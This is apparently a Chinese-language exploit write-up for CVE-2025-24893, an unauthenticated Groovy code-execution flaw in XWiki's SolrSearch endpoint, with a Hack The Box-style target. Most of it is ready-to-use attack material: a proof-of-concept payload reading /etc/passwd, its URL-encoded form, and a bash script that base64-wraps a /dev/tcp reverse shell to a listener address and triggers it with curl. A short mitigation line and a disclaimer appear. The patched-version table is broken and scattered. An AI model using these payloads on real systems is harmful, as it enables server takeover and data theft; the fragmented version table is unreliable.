
CVE-2025-24893 是 XWiki 中的一个严重未认证远程代码执行(RCE)漏洞,XWiki 是一个流行的开源企业 wiki 平台。
SolrSearch 宏(XWiki UI)/xwiki/bin/get/Main/SolrSearch 端点将不可信的 text= 输入直接拼接到 Freemarker 模板中。
通过提前关闭模板并打开新的 {{groovy}} … {{/groovy}} 代码块,攻击者可在无需认证的情况下执行任意 Groovy 代码。
GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>> HTTP/1.1
SolrSearch 本应将提供的文本作为纯文本内容嵌入,但宏处理器未能转义 }}},因此会发生以下情况:
}}} 关闭当前 Freemarker 代码块。 {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}
async=false 强制同步执行(即使对访客也有效)。一个打印 /etc/passwd 的最小 PoC:
}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}
URL 编码变体(空格 → %20,花括号 → %7B/%7D 等):
%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
| 分支 | 修复于 | 漏洞版本 ≤ |
|---|---|---|
| 15.x | 15.10.11 | 15.10.10(以及所有 15.9 / 15.8 …) |
| 14.x LTS |
(来源:OffSec 公告 与 XWiki SEC-S 2025-02)

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444
# 1. one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# 2. Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)
# 3. wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'
# 4. URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")
# start listener
sudo ncat -lvnp 4444
# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"
xwiki_solr_rce.py 随 exploit/ 提供(见下方代码块)。
python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>
其中
<TARGET URL> - URL including http:// or https://
(传入 -c "id" 可执行任意命令,而不仅仅是获得 shell)

# /etc/xwiki/xwiki.properties
solr.search.enabled = false
研究与 PoC:DeX1d
免责声明:仅限教育用途。对非您拥有的系统运行此操作属于违法行为。
| 14.10.16 |
| 13 / 12 | 不再维护 – 所有版本仍受影响 |